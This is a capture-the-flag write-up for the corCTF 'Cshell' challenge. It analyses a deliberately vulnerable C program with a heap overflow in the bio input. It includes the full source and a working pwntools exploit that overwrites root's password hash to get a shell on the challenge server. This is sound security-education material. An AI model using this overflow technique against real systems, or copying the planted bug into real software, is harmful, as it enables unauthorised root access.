# Intro
This is a nice straightforward heap overflow challenge. We are given the binary and the source for it (see [Appendix A](#cshell.c)).
### The binary
We can take a look at the binary itself and check the protections on it (but as you will see, this isn’t really relevant). The binary itself happens to be statically compiled, which can make things a bit more interesting when trying to inspect the heap later with things like [pwndbg](https://github.com/pwndbg/pwndbg).
```c$ checksec ./Cshell[*] ‘~/CTF/corCTF/pwn/Cshell/Cshell'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)$ file ./Cshell./Cshell: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=fa44f005a56ad5119764902311a39bbf09cbca23, for GNU/Linux 3.2.0, not stripped$ ```
We can even see the line in the source code for how it was compiled:```c//gcc Cshell.c -static -lcrypt -o Cshell```
### Getting a feel for how the binary works
If we run the binary we are greeted with a message and asked to create a new user profile:
```c$ ./Cshell        /\      {.-}     ;_.-'\    {    _.}_    \.-' /  `,     \  |    /      \ |  ,/       \|_/
Welcome to Cshell, a very restricted shell.Please create a profile.Enter a username up to 8 characters long.> ```
We can give a username, password (which it doesn’t say, but can be a max of 32 chars - not that it’s important) and bio:
```cEnter a username up to 8 characters long.> AAAAAAAWelcome to the system AAAAAAA, you are our 3rd user. We used to have more but some have deleted their accounts.Create a password.> BBBBBBBBHow many characters will your bio be (200 max)?> 8Great, please type your bio.> CCCCCCC```
Once we have done this, we are greeted with a menu:
```c+----------------------+|        Commands      |+----------------------+| 1. logout            || 2. whoami            || 3. bash (ROOT ONLY!) || 4. squad             || 5. exit              |+----------------------+Choice > ```
Option 4 (‘squad’), just prints “..”:
```cChoice > 4..```
If we run option 2 (‘whoami’), we get the following (which shows our uid):
```cChoice > 2AAAAAAA, uid: 1000```
From our uid, we know we aren’t root, but if we try the ‘ROOT ONLY’ option:
```cChoice > 3Who do you think you are?```
It also calls ```exit(0)```, which you also get from the ‘exit’ option. But we know that if we could somehow login as root (or get a uid of 0) then we could use this option to pop a shell and win.
The last option is ‘logout’, which lets you then login again:
```cChoice > 1Username:AAAAAAAPassword:BBBBBBBAuthenticated!
```
It will do some checking that the user we try to log in as exists and then it will hash the password we give it against a hash it has stored for that user:
```cChoice > 1Username:madeupSorry no users with that name.Username:rootPassword:rootIncorrectUsername:```
# Digging into the source
## Logging in
If we look at the ```logout()``` function, we can see it basically reads a username from the user and then loops over the users and if it finds one with that name it asks for a password (and then hashes that and checks against the stored hash).
```cvoid logout(){	fflush(stdin);	getchar();	struct tracker *ptr;	printf("Username:");	char username_l[9];	char password_l[32];	char *hash;	scanf("%8s",username_l);	for (ptr = root_t; ptr != NULL; ptr = root_t->next) {
        if (strcmp(ptr->name, username_l) == 0) {		printf("Password:");	    scanf("%32s",password_l);	    hash = crypt(password_l,salt);	    if (strcmp(hash,ptr->ptr->passwd) == 0){		    strcpy(username,ptr->name);		    uid = ptr->id;		    puts("Authenticated!");		    menu();	    }	    else{		    puts("Incorrect");		    logout();	    }         }	else	{		if (ptr->next==0)		{			puts("Sorry no users with that name.");			logout();		}	}    }}```
One (irrelevant) sidenote here is that due to the way it recursively calls ```logout()``` on either a bad username or bad password a malicious attacker could probably crash the service by repeatedly failing to log in until the stack is exhausted (not that this helps us in this case). 
## User structs
The user data type being iterated over during the login is a linked list made up of ```tracker``` structs:
```cstruct tracker{	struct tracker *next;	struct users *ptr;	char name[8];	long int id;};```
This contains a copy of the username field and the uid of the user (which for our user is always 1000 and for root is always 0). The ```users``` struct element of the struct (just called ```ptr```) is very simple:
```cstruct users {	char name[8];	char passwd[35];};```
It contains another copy of the username string and the hash of the password. We can see in the code where the two globals are initialised in main:
```cint main(){	setvbuf(stdout, 0 , 2 , 0);	setvbuf(stdin, 0 , 2 , 0);	root_t = malloc(sizeof(struct tracker));	user_t = malloc(sizeof(struct tracker));	history();	banner();	user = malloc(sizeof(struct users )* 4);	root = user + 1;	strcpy(user->name,"tempname");	strcpy(user->passwd,"placeholder");	strcpy(root->name,"root");	strcpy(root->passwd,"guessme:)");	strcpy(root_t->name,"root");	root_t->ptr = root;	root_t->id = 0;	root_t->next = user_t;	setup();	strcpy(user->name,username);	strcpy(user->passwd,hash);	strcpy(user_t->name,username);	user_t->id=1000;	user_t->ptr = user;	user_t->next = NULL;	menu();	return 0;}```
The next pointer for ```root_t``` is set to be ```user_t``` and the next pointer for ```user_t``` is set to NULL (so it’s a linked list of two elements, with no way to grow…).
## The history function
If we look at the code for ```history()``` we can see what it was talking about when it said ```you are our 3rd user. We used to have more but some have deleted their accounts.```:
```cvoid history(){	alex_buff = malloc(0x40);	char alex_data[0x40] = "Alex\nJust a user on this system.\0";	char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";	char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";	char Eric[0x60] = "Eric\nThis is one of the best programs I have ever used!\0";	strcpy(alex_buff,alex_data);	Charlie_buff = malloc(0x50);	strcpy(Charlie_buff,Charlie);	Johnny_buff = malloc(0x60);	strcpy(Johnny_buff,Johnny);	Eric_buff = malloc(0x80);	strcpy(Eric_buff,Eric);	free(Charlie_buff);	free(Eric_buff);}```
This function is kinda nonsense and just serves to do 4 allocations of sizes 0x40 (```alex_buff```), 0x50 (```Charlie_buff```), 0x60 (```Johnny_buff```) and 0x80 (```Eric_buff```) and then free the 0x50 and 0x80 allocations.
## Creating a user with the setup function
The final bit of code to look at is ```setup()```:
```cvoid setup(){	char password_L[33];	puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");	printf("Enter a username up to 8 characters long.\n> ");	scanf("%8s",username);	printf("Welcome to the system %s, you are our 3rd user. We used to have more but some have deleted their accounts.\nCreate a password.\n> ",username);	scanf("%32s",&password_L);	hash = crypt(password_L,salt);	printf("How many characters will your bio be (200 max)?\n> ");	scanf("%d",&length);	userbuffer = malloc(length + 8);	printf("Great, please type your bio.\n> ");	getchar();	fgets((userbuffer + 8),201,stdin);}```
Here we can see the bug that we are going to exploit. It asks us for a length of bio, but then does an ```fgets``` of 201 characters (so we can ask for a block size smaller than that and get a heap overflow).
There are no obvious ways after our bio is entered to do further allocations or frees (It is possible to trigger them using printf/scanf but that’s not the path we need to take - but if you haven’t heard of those techniques they are well worth looking into, I’ll put links in [Appendix B](#links)) so it’s likely we’re looking to corrupt an existing object, rather than heap meta data.
## State of the heap
If we go though the functions that do allocations/frees (```main()``` and ```history()```) in order of execution:
| Function         | Action                               | Line in code                                                        | |:------------- |------------------------- |--------------------------------------------- || main               | Allocate 0x30 chunk        | ```root_t = malloc(sizeof(struct tracker));``` || main               | Allocate 0x30 chunk        | ```user_t = malloc(sizeof(struct tracker));``` || history            | Allocate 0x50 chunk        | ```alex_buff = malloc(0x40);``` || history            | Allocate 0x60 chunk        | ```Charlie_buff = malloc(0x50);``` || history            | Allocate 0x70 chunk        | ```Johnny_buff = malloc(0x60);``` || history            | Allocate 0x90 chunk        | ```Eric_buff = malloc(0x80);``` || history            | Free 0x60 chunk              | ```free(Charlie_buff);``` || history            | Free 0x90 chunk              | ```free(Eric_buff);``` || main               | Allocate 0xc0 chunk        | ```user = malloc(sizeof(struct users )* 4);``` |
----- One interesting thing to note is the use of just one chunk to hold both the ```users``` struct for our user and for root. In memory, before we enter our username/password/bio, the memory looks like:
| Chunk        |  Size/State       || ------------ | ------------------|| root_t       | 0x30 - Allocated  || user_t       | 0x30 - Allocated  || alex_buff    | 0x50 - Allocated  || Charlie_buff | 0x60 - Free       || Johnny_buff  | 0x70 - Allocated  || Eric_buff    | 0x90 - Free       || user         | 0xc0 - Allocated  || top chunk    |                   |
-----
### Double checking this in gdbWe can see this in a memory dump from gdb:
![](https://i.imgur.com/csdIZ2Y.png)
# Plan for our exploit
Once we have entered our username and password (I chose “AAAAAAA” and “BBBBBBBB”) our ```user``` struct is updated:
```0x5188b0:	0x0000000000000000	0x00000000000000c10x5188c0:	0x0041414141414141	0x6559316f783233310x5188d0:	0x000000454f6b6872	0x00000000000000000x5188e0:	0x0000000000000000	0x00746f6f720000000x5188f0:	0x7373657567000000	0x00000000293a656d0x518900:	0x0000000000000000	0x0000000000000000```
We can dump out the hash generated for “BBBBBBBB” (which we can then use later to overwrite the hash for root’s password):
```pwndbg> x/16bx 0x5188c80x5188c8:	0x31	0x33	0x32	0x78	0x6f	0x31	0x59	0x650x5188d0:	0x72	0x68	0x6b	0x4f	0x45	0x00	0x00	0x00pwndbg> ```
Now the plan is to pick a size for our bio, so it reuses the freed 0x90 chunk that is in memory just before the user chunk. To do this we need to provide a size that is between 0x80 and 0x88. We also have to account for it randomly adding 0x8 to the size we pick in ```setup()```:
```c	printf("How many characters will your bio be (200 max)?\n> ");	scanf("%d",&length);	userbuffer = malloc(length + 8);```
So, if we pick 0x80 (128), that will then become 0x88, which will force a chunk size of 0x90.Our data starts getting written from offset 0x8 into the chunk we allocate:
```c	fgets((userbuffer + 8),201,stdin);```
So we need to write 128 bytes to hit the end of our allocated chunk, 0x8 bytes for the header of the user chunk and then we need to skip over the first entry (our ```users``` struct) to hit the second entry (the root entry), which means adding another 43 bytes (the struct isn’t packed, so 8 bytes username + 35 bytes of password hash). So total padding is 179 bytes.
Thus our exploit:
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('./Cshell')
gdbscript = '''tbreak maininit-pwndbgcontinue'''
if args.REMOTE:    io = remote('pwn.be.ax',5001)elif args.GDB:    io = gdb.debug(exe.path, gdbscript=gdbscript)else:    io = process(exe.path)
def sla(delim,line): return io.sendlineafter(delim,line)def sl(line): return io.sendline(line)
# username, password and bio sizesla(b'8 characters long.\n',b'A'*8)sla(b'Create a password.\n',b'B'*8)sla(b'(200 max)?\n',b'128')
# hash of 'BBBBBBBB'eight_b_hash=b'\x31\x33\x32\x78\x6f\x31\x59\x65\x72\x68\x6b\x4f\x45'
# biobio = b'C'*128 # fill bio bufferbio+= b'D'*51  # overflow till start of root user structbio+= p64(0x746f6f72) # 'root'bio+= eight_b_hash    # new hash for rootsla(b'type your bio.\n', bio)
# logoutsla(b'Choice > ',b'1')
# log in as rootsla(b'Username:',b'root')sla(b'Password:',b'BBBBBBBB')
# pop shellsla(b'Choice > ',b'3')
io.interactive()```
Which when run:
```~/CTF/corCTF/pwn/Cshell$ ./exploit.py REMOTE[*] ‘~/CTF/corCTF/pwn/Cshell/Cshell'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to pwn.be.ax on port 5001: Done[*] Switching to interactive mode$ ls -ltotal 1172-rw-rw-r-- 1 nobody nogroup      47 Aug 14 18:21 flag.txt-rwxrwxr-x 1 nobody nogroup 1192888 Aug 17 22:52 run$ cat flag.txtcorctf{tc4ch3_r3u5e_p1u5_0v3rfl0w_equ4l5_r007}$ exit```
This was a pretty fun challenge, thanks to 0x5a for writing it :)
-----
# Appendix A## CShell.c```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <crypt.h>
//gcc Cshell.c -static -lcrypt -o Cshellstruct users {	char name[8];	char passwd[35];};
struct tracker{	struct tracker *next;	struct users *ptr;	char name[8];	long int id;};
char * alex_buff;char * Charlie_buff;char * Johnny_buff;char * Eric_buff;
struct users *user;struct users *root;
struct tracker *root_t;struct tracker *user_t;
char *username[8];char *userbuffer;int uid=1000;int length;char salt[5] = "1337\0";char *hash;void setup(){	char password_L[33];	puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");	printf("Enter a username up to 8 characters long.\n> ");	scanf("%8s",username);	printf("Welcome to the system %s, you are our 3rd user. We used to have more but some have deleted their accounts.\nCreate a password.\n> ",username);	scanf("%32s",&password_L);	hash = crypt(password_L,salt);	printf("How many characters will your bio be (200 max)?\n> ");	scanf("%d",&length);	userbuffer = malloc(length + 8);	printf("Great, please type your bio.\n> ");	getchar();	fgets((userbuffer + 8),201,stdin);}
void logout(){	fflush(stdin);	getchar();	struct tracker *ptr;	printf("Username:");	char username_l[9];	char password_l[32];	char *hash;	scanf("%8s",username_l);	for (ptr = root_t; ptr != NULL; ptr = root_t->next) {
        if (strcmp(ptr->name, username_l) == 0) {		printf("Password:");	    scanf("%32s",password_l);	    hash = crypt(password_l,salt);	    if (strcmp(hash,ptr->ptr->passwd) == 0){		    strcpy(username,ptr->name);		    uid = ptr->id;		    puts("Authenticated!");		    menu();	    }	    else{		    puts("Incorrect");		    logout();	    }         }	else	{		if (ptr->next==0)		{			puts("Sorry no users with that name.");			logout();		}	}    }}void whoami(){	printf("%s, uid: %d\n",username,uid);	menu();}void bash(){
	if (uid == 0){		system("bash");	}	else 	{		puts("Who do you think you are?");		exit(0);	}
}
void squad(){	puts("..");	menu();}
void banner(){
puts("       /\\");puts("      {.-}");puts("     ;_.-'\\");puts("    {    _.}_");puts("    \\.-' /  `,");puts("     \\  |    /");puts("      \\ |  ,/");puts("       \\|_/");puts("");}void menu(){	puts("+----------------------+");	puts("|        Commands      |");	puts("+----------------------+");	puts("| 1. logout            |");	puts("| 2. whoami            |");	puts("| 3. bash (ROOT ONLY!) |");	puts("| 4. squad             |");	puts("| 5. exit              |");	puts("+----------------------+");	int option;	printf("Choice > ");	scanf("%i",&option);	switch(option){		case 1:			logout();		case 2:			whoami();		case 3:			bash();		case 4:			squad();		case 5:			exit(0);		default:			puts("[!] invalid choice \n");			break;	}}void history(){	alex_buff = malloc(0x40);	char alex_data[0x40] = "Alex\nJust a user on this system.\0";	char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";	char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";	char Eric[0x60] = "Eric\nThis is one of the best programs I have ever used!\0";	strcpy(alex_buff,alex_data);	Charlie_buff = malloc(0x50);	strcpy(Charlie_buff,Charlie);	Johnny_buff = malloc(0x60);	strcpy(Johnny_buff,Johnny);	Eric_buff = malloc(0x80);	strcpy(Eric_buff,Eric);	free(Charlie_buff);	free(Eric_buff);}
int main(){	setvbuf(stdout, 0 , 2 , 0);	setvbuf(stdin, 0 , 2 , 0);	root_t = malloc(sizeof(struct tracker));	user_t = malloc(sizeof(struct tracker));	history();	banner();	user = malloc(sizeof(struct users )* 4);	root = user + 1;	strcpy(user->name,"tempname");	strcpy(user->passwd,"placeholder");	strcpy(root->name,"root");	strcpy(root->passwd,"guessme:)");	strcpy(root_t->name,"root");	root_t->ptr = root;	root_t->id = 0;	root_t->next = user_t;	setup();	strcpy(user->name,username);	strcpy(user->passwd,hash);	strcpy(user_t->name,username);	user_t->id=1000;	user_t->ptr = user;	user_t->next = NULL;	menu();	return 0;}```
-----
# Appendix B
## Links * [Trigger malloc with printf](https://github.com/Naetw/CTF-pwn-tips#use-printf-to-trigger-malloc-and-free)* [Trigger malloc with scanf](https://changochen.github.io/2018-11-09-hctf.html)